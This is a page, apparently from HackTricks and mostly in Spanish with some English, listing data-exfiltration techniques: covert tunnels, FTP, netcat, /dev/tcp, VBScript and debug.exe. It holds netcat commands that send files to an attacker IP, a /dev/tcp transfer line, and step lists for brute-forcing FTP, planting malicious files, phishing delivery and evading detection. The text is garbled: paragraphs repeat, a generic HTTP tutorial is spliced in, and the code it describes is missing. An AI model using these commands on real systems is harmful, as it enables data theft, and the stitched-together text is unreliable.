* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
Exfiltración de datos es el proceso de robo o filtración de información confidencial desde un sistema comprometido. En el contexto de Windows, hay varias técnicas comunes que los hackers utilizan para exfiltrar datos de manera encubierta. A continuación se presentan algunas de estas técnicas:
1.**Túneles encubiertos**: Los hackers pueden utilizar túneles encubiertos para enviar datos fuera de un sistema comprometido sin ser detectados. Esto implica el uso de protocolos de red como ICMP, DNS o HTTP para ocultar los datos dentro del tráfico normal de la red.
2.**Protocolos de red alternativos**: Además de los protocolos de red estándar, los hackers pueden utilizar protocolos menos comunes o personalizados para exfiltrar datos. Esto dificulta la detección, ya que los sistemas de seguridad pueden no estar configurados para monitorear estos protocolos.
3.**Esteganografía**: La esteganografía es el arte de ocultar información dentro de archivos aparentemente inocentes, como imágenes o documentos. Los hackers pueden utilizar técnicas de esteganografía para ocultar datos confidenciales y luego extraerlos en un sistema externo.
4.**Uso de servicios en la nube**: Los hackers pueden aprovechar servicios en la nube como almacenamiento o correo electrónico para exfiltrar datos. Esto les permite almacenar y transferir información de manera encubierta, utilizando la infraestructura de la nube como intermediario.
5.**Canal lateral**: Los hackers pueden utilizar canales laterales para exfiltrar datos a través de medios no convencionales, como el uso de señales electromagnéticas o acústicas. Estos canales no son monitoreados por los sistemas de seguridad tradicionales, lo que los hace difíciles de detectar.
Es importante tener en cuenta que estas técnicas son solo algunas de las muchas formas en que los hackers pueden exfiltrar datos en un entorno de Windows. Los profesionales de la seguridad deben estar al tanto de estas técnicas y tomar medidas para proteger sus sistemas contra ellas.
El protocolo HTTP (Hypertext Transfer Protocol) es un protocolo de comunicación utilizado para transferir información en la web. Es ampliamente utilizado para la comunicación entre clientes y servidores en Internet.
### Métodos HTTP
Los métodos HTTP son acciones que se pueden realizar en un recurso identificado por una URL. Los métodos más comunes son:
- GET: solicita la representación de un recurso.
- POST: envía datos al servidor para ser procesados.
- PUT: actualiza un recurso existente.
- DELETE: elimina un recurso.
### Cabeceras HTTP
Las cabeceras HTTP son campos de metadatos que se envían junto con una solicitud o respuesta HTTP. Proporcionan información adicional sobre la solicitud o respuesta. Algunas cabeceras comunes son:
- User-Agent: identifica el software del cliente que realiza la solicitud.
- Content-Type: especifica el tipo de contenido que se envía o se espera recibir.
- Authorization: proporciona credenciales para autenticar la solicitud.
### Códigos de estado HTTP
Los códigos de estado HTTP son números que indican el estado de una solicitud HTTP. Algunos códigos de estado comunes son:
- 200 OK: la solicitud se ha completado con éxito.
- 404 Not Found: el recurso solicitado no se ha encontrado.
- 500 Internal Server Error: se produjo un error en el servidor.
### Ejemplo de solicitud HTTP
A continuación se muestra un ejemplo de una solicitud HTTP utilizando el método GET:
```
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
```
En este ejemplo, se solicita el recurso "index.html" del servidor "www.example.com" utilizando el método GET. La solicitud incluye la cabecera "User-Agent" que identifica el navegador utilizado.
### Ejemplo de respuesta HTTP
A continuación se muestra un ejemplo de una respuesta HTTP:
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1274
<!DOCTYPE html>
<html>
<head>
<title>Ejemplo</title>
</head>
<body>
<h1>Hola, mundo!</h1>
</body>
</html>
```
En este ejemplo, el servidor responde con un código de estado "200 OK" indicando que la solicitud se ha completado con éxito. La respuesta incluye la cabecera "Content-Type" que especifica que el contenido es de tipo "text/html" y la cabecera "Content-Length" que indica la longitud del contenido en bytes. El cuerpo de la respuesta contiene el código HTML que se mostrará en el navegador.
Exfiltración de datos es el proceso de robo o filtración de información confidencial desde un sistema comprometido. En el contexto de Windows, hay varias técnicas comunes que los hackers utilizan para exfiltrar datos de manera encubierta. A continuación se presentan algunas de estas técnicas:
1.**Túneles encubiertos**: Los hackers pueden utilizar túneles encubiertos para enviar datos fuera de un sistema comprometido sin ser detectados. Esto implica el uso de protocolos de red como ICMP, DNS o HTTP para ocultar los datos dentro del tráfico normal de la red.
2.**Protocolos de red alternativos**: Además de los protocolos de red estándar, los hackers pueden utilizar protocolos menos comunes o personalizados para exfiltrar datos. Esto dificulta la detección, ya que los sistemas de seguridad pueden no estar configurados para monitorear estos protocolos.
3.**Esteganografía**: La esteganografía es el arte de ocultar información dentro de archivos aparentemente inocentes, como imágenes o documentos. Los hackers pueden utilizar técnicas de esteganografía para ocultar datos confidenciales y luego extraerlos en un sistema externo.
4.**Uso de servicios en la nube**: Los hackers pueden aprovechar servicios en la nube como almacenamiento o correo electrónico para exfiltrar datos. Esto implica cargar los datos en una cuenta de almacenamiento en la nube o enviarlos a través de servicios de correo electrónico encriptados.
5.**Canal lateral**: Los hackers pueden utilizar canales laterales para exfiltrar datos a través de medios no convencionales, como el uso de señales acústicas o electromagnéticas. Esto puede ser especialmente útil en entornos altamente seguros donde las comunicaciones normales están restringidas.
Es importante tener en cuenta que estas técnicas son solo algunas de las muchas formas en que los hackers pueden exfiltrar datos en sistemas Windows. Los profesionales de la seguridad deben estar al tanto de estas técnicas y tomar medidas para proteger sus sistemas contra ellas.
An HTTPS server is a secure server that uses the HTTPS protocol to encrypt the communication between the server and the client. This ensures that the data transmitted between the two parties is protected from eavesdropping and tampering.
To exfiltrate data from an HTTPS server, there are several methods that can be used:
1.**Data Leakage through HTTPS Requests**: In this method, an attacker can exploit vulnerabilities in the server or the application running on it to leak sensitive data through HTTPS requests. This can be done by manipulating the request parameters or exploiting insecure configurations.
2.**Man-in-the-Middle (MitM) Attack**: In a MitM attack, the attacker intercepts the communication between the client and the server, allowing them to view and modify the data being transmitted. By performing a MitM attack on an HTTPS connection, an attacker can exfiltrate data by capturing and decrypting the encrypted traffic.
3.**SSL/TLS Vulnerabilities**: SSL/TLS vulnerabilities can be exploited to exfiltrate data from an HTTPS server. These vulnerabilities can include weak encryption algorithms, insecure certificate configurations, or implementation flaws. By exploiting these vulnerabilities, an attacker can gain access to the encrypted data and exfiltrate it.
4.**Server Misconfigurations**: Misconfigurations in the server's SSL/TLS settings can also lead to data exfiltration. These misconfigurations can include weak cipher suites, outdated SSL/TLS versions, or insecure certificate authorities. By exploiting these misconfigurations, an attacker can bypass the server's security measures and exfiltrate data.
It is important for organizations to regularly update and patch their servers, as well as follow best practices for SSL/TLS configuration, to mitigate the risk of data exfiltration through HTTPS servers.
In this section, we will discuss the exfiltration technique using an FTP server implemented in NodeJS. FTP (File Transfer Protocol) is a standard network protocol used for transferring files between a client and a server on a computer network.
To start the FTP server, run the following command:
```bash
node ftp-server.js
```
#### Connecting to the FTP server
To connect to the FTP server, you can use any FTP client software, such as FileZilla or WinSCP. Use the following connection details:
- Host: `localhost`
- Port: `21`
- Username: `admin`
- Password: `password`
#### Exfiltrating files
Once connected to the FTP server, you can exfiltrate files by uploading them to the server. You can use the FTP client software to navigate to the desired directory and upload files from your local machine to the server.
#### Conclusion
In this section, we discussed the exfiltration technique using an FTP server implemented in NodeJS. FTP servers provide a convenient way to transfer files between a client and a server. By setting up and using an FTP server, you can easily exfiltrate files during a penetration testing engagement.
FTP (File Transfer Protocol) is a standard network protocol used for transferring files between a client and a server on a computer network. It is commonly used for website maintenance, software updates, and file sharing.
#### Exfiltration Methodology
1.**Identify the FTP server**: Determine if the target system is running an FTP server. Use tools like Nmap or manual enumeration techniques to identify open FTP ports (usually port 21).
2.**Enumerate FTP server**: Gather information about the FTP server, such as the version and configuration. This information can be useful for identifying potential vulnerabilities or misconfigurations.
3.**Brute force FTP credentials**: If the FTP server allows anonymous access, try logging in with default or common credentials. If anonymous access is not allowed, use brute force techniques to guess valid usernames and passwords.
4.**Exploit FTP vulnerabilities**: Research and exploit known vulnerabilities in the FTP server software. Common vulnerabilities include buffer overflows, command injection, and weak encryption.
5.**Upload malicious files**: Once authenticated, upload malicious files to the FTP server. These files can be used to establish a backdoor, execute remote commands, or exfiltrate sensitive data.
6.**Exfiltrate data**: Use the FTP server as a means to exfiltrate data from the target system. This can be done by uploading sensitive files to the server and then downloading them to an attacker-controlled system.
El cliente de Windows es un sistema operativo ampliamente utilizado en computadoras personales y en entornos empresariales. A continuación se presentan algunas metodologías y recursos generales para la exfiltración de datos en un entorno de Windows.
#### **Métodos de exfiltración**
1.**Correo electrónico**: El correo electrónico es una forma común de exfiltrar datos. Los atacantes pueden enviar archivos adjuntos o utilizar técnicas de esteganografía para ocultar información dentro de los mensajes de correo electrónico.
2.**Transferencia de archivos**: Los atacantes pueden utilizar protocolos como FTP, SMB o HTTP para transferir archivos desde el sistema comprometido a un servidor controlado por ellos.
3.**Túneles encubiertos**: Los atacantes pueden utilizar técnicas de túneles encubiertos para ocultar el tráfico de datos dentro de protocolos legítimos, como DNS o ICMP.
4.**Dispositivos de almacenamiento extraíbles**: Los atacantes pueden utilizar dispositivos de almacenamiento extraíbles, como unidades USB, para copiar y transportar datos fuera del sistema comprometido.
#### **Recursos útiles**
1.**Herramientas de exfiltración**: Hay varias herramientas disponibles para facilitar la exfiltración de datos en un entorno de Windows, como PowerSploit, Metasploit y Cobalt Strike.
2.**Técnicas de ocultamiento**: Los atacantes pueden utilizar técnicas de ocultamiento para evitar la detección durante la exfiltración de datos. Algunas técnicas comunes incluyen el cifrado de archivos, la compresión de datos y el uso de nombres de archivo no sospechosos.
3.**Análisis de tráfico de red**: El análisis del tráfico de red puede ayudar a identificar patrones y anomalías que indiquen una posible exfiltración de datos. Herramientas como Wireshark y tcpdump son útiles para este propósito.
4.**Monitoreo de eventos**: El monitoreo de eventos en el sistema operativo Windows puede ayudar a detectar actividades sospechosas, como la creación de archivos o la transferencia de datos. Herramientas como Sysmon y Windows Event Viewer son útiles para este propósito.
Recuerda que la exfiltración de datos sin autorización es ilegal y solo debe realizarse como parte de un proceso de prueba de penetración autorizado.
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
La exfiltración de datos es un proceso crucial en las pruebas de penetración, ya que implica la extracción de información sensible de un sistema comprometido. En entornos de Windows, existen varias técnicas que se pueden utilizar para llevar a cabo esta tarea.
Las herramientas de línea de comandos integradas en Windows, como `netcat` y `curl`, pueden ser utilizadas para transferir datos a través de la red. Estas herramientas permiten establecer conexiones TCP o enviar solicitudes HTTP para enviar información a un servidor remoto.
Los protocolos de red como FTP, SMB y DNS pueden ser utilizados para exfiltrar datos en Windows. Por ejemplo, se puede utilizar el protocolo FTP para cargar archivos en un servidor remoto o el protocolo SMB para copiar archivos en una ubicación compartida.
Los servicios en la nube, como Dropbox o Google Drive, pueden ser utilizados para exfiltrar datos en Windows. Estos servicios permiten cargar archivos en la nube y compartirlos con otros usuarios o descargarlos en otro dispositivo.
La esteganografía es el arte de ocultar información dentro de otros archivos o medios. En Windows, se pueden utilizar técnicas de esteganografía para ocultar datos dentro de imágenes, archivos de audio o documentos de texto, lo que permite su exfiltración sin levantar sospechas.
NC (Netcat) es una herramienta de red versátil que se utiliza comúnmente en pruebas de penetración y hacking. Puede ser utilizada para la exfiltración de datos, que es el proceso de robar y transferir información confidencial desde un sistema comprometido a un atacante.
Hay varias formas en las que NC puede ser utilizado para la exfiltración de datos:
1.**Exfiltración de archivos**: NC puede ser utilizado para transferir archivos desde un sistema comprometido a un servidor controlado por el atacante. Esto se logra utilizando el comando `nc -w 3 <IP del atacante> <puerto> < archivo` en el sistema comprometido y `nc -l -p <puerto> > archivo` en el servidor del atacante.
2.**Exfiltración de datos en tiempo real**: NC también puede ser utilizado para transferir datos en tiempo real desde un sistema comprometido a un atacante. Esto se logra utilizando el comando `nc -w 3 <IP del atacante> <puerto>` en el sistema comprometido y `nc -l -p <puerto>` en el servidor del atacante. Una vez establecida la conexión, los datos pueden ser enviados y recibidos en tiempo real.
3.**Exfiltración de datos a través de canales encubiertos**: NC puede ser utilizado para establecer canales encubiertos a través de los cuales los datos pueden ser exfiltrados sin ser detectados. Esto se logra utilizando técnicas como la esteganografía, donde los datos se ocultan dentro de archivos aparentemente inocentes, como imágenes o documentos.
Es importante tener en cuenta que la exfiltración de datos es una actividad ilegal y éticamente cuestionable. Este conocimiento se proporciona con fines educativos y para aumentar la conciencia sobre las técnicas utilizadas por los atacantes. Se recomienda encarecidamente utilizar estas técnicas solo con fines legales y con el consentimiento explícito del propietario del sistema.
To download a file from the victim using the `/dev/tcp` method, you can use the following command:
```bash
cat < /dev/tcp/<victim_ip>/<port> > <local_file>
```
Replace `<victim_ip>` with the IP address of the victim's machine and `<port>` with the port number you want to use for the connection. `<local_file>` should be replaced with the name of the file you want to save the downloaded content to.
For example, if the victim's IP address is `192.168.1.100`, the port is `8080`, and you want to save the downloaded content to a file named `secret.txt`, the command would be:
Una vez que hemos obtenido acceso al sistema objetivo, podemos proceder a exfiltrar datos sensibles mediante la carga de archivos. Este método nos permite transferir archivos desde el sistema objetivo a un servidor controlado por nosotros.
#### Pasos a seguir:
1.**Preparar el servidor de carga**: Configuramos un servidor en nuestra máquina o en una infraestructura en la nube para recibir los archivos que serán exfiltrados.
2.**Crear un archivo malicioso**: Creamos un archivo malicioso en el sistema objetivo que contenga los datos que deseamos exfiltrar. Este archivo puede ser cualquier tipo de archivo, como un documento, una imagen o un archivo comprimido.
3.**Inyectar código malicioso**: Modificamos el archivo malicioso para que, al abrirlo, se ejecute código malicioso que se encargará de enviar el archivo al servidor de carga. Esto se puede lograr mediante la inserción de código en el archivo o mediante la explotación de vulnerabilidades en las aplicaciones que abren el tipo de archivo en cuestión.
4.**Transferir el archivo**: Una vez que el archivo malicioso ha sido creado y modificado, lo transferimos al sistema objetivo. Esto se puede hacer a través de técnicas como la ingeniería social, la explotación de vulnerabilidades en el sistema objetivo o el uso de técnicas de phishing.
5.**Ejecutar el archivo malicioso**: Una vez que el archivo malicioso ha sido transferido al sistema objetivo, lo ejecutamos. Esto activará el código malicioso que se encargará de enviar el archivo al servidor de carga.
6.**Recibir el archivo**: En el servidor de carga, recibimos el archivo exfiltrado y lo almacenamos para su posterior análisis.
Es importante tener en cuenta que este método de exfiltración de archivos puede ser detectado por soluciones de seguridad, por lo que es recomendable utilizar técnicas de evasión y ocultamiento para evitar ser detectados.
Este código implementa un servidor TFTP (Trivial File Transfer Protocol) en Python. El servidor utiliza un socket UDP para recibir solicitudes de lectura y escritura de archivos. Cuando se recibe una solicitud de lectura, el servidor envía el archivo solicitado al cliente. Cuando se recibe una solicitud de escritura, el servidor recibe el archivo del cliente y lo guarda en el sistema de archivos del servidor.
Para utilizar el servidor TFTP, simplemente ejecute el script en un entorno de Python. El servidor escuchará en el puerto 69 y estará listo para recibir solicitudes de transferencia de archivos.
VBScript (Visual Basic Scripting Edition) es un lenguaje de scripting basado en Visual Basic que se utiliza comúnmente para automatizar tareas en sistemas Windows. Aunque VBScript no es tan popular como otros lenguajes de scripting, todavía se utiliza en algunos entornos y puede ser útil para ciertas tareas de hacking.
La exfiltración de datos es el proceso de robo o transferencia de datos confidenciales desde un sistema comprometido hacia un atacante. En el contexto de VBScript, la exfiltración de datos puede lograrse utilizando diferentes técnicas, como:
1.**Transferencia de archivos**: VBScript puede ser utilizado para copiar archivos desde el sistema comprometido hacia un servidor controlado por el atacante. Esto se puede lograr utilizando comandos como `CopyFile` o `MoveFile` para transferir archivos a través de la red.
2.**Envío de datos por correo electrónico**: VBScript también puede ser utilizado para enviar datos confidenciales por correo electrónico. Esto se puede lograr utilizando la biblioteca `CDO.Message` para crear y enviar mensajes de correo electrónico desde el sistema comprometido hacia una dirección de correo controlada por el atacante.
3.**Transmisión de datos a través de HTTP**: VBScript puede ser utilizado para enviar datos a través de solicitudes HTTP. Esto se puede lograr utilizando la biblioteca `MSXML2.XMLHTTP` para enviar datos a un servidor controlado por el atacante utilizando el método `POST`.
Es importante tener en cuenta que la exfiltración de datos utilizando VBScript puede ser detectada por soluciones de seguridad y firewalls. Por lo tanto, es importante tomar medidas adicionales para ocultar o cifrar los datos exfiltrados y evitar la detección.
- [Documentación oficial de Microsoft sobre VBScript](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/scripting-articles/d1wf56tt(v=vs.84))
- [Ejemplos de código VBScript](https://www.w3schools.com/asp/asp_ref_vbscript_functions.asp)
Esta es una técnica loca que funciona en máquinas Windows de 32 bits. La idea es utilizar el programa `debug.exe`. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hexadecimal. Entonces la idea es tomar binarios, como `netcat`. Y luego desensamblarlo en hexadecimal, pegarlo en un archivo en la máquina comprometida y luego ensamblarlo con `debug.exe`.
`Debug.exe` solo puede ensamblar 64 kb. Por lo tanto, necesitamos utilizar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagámoslo:
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).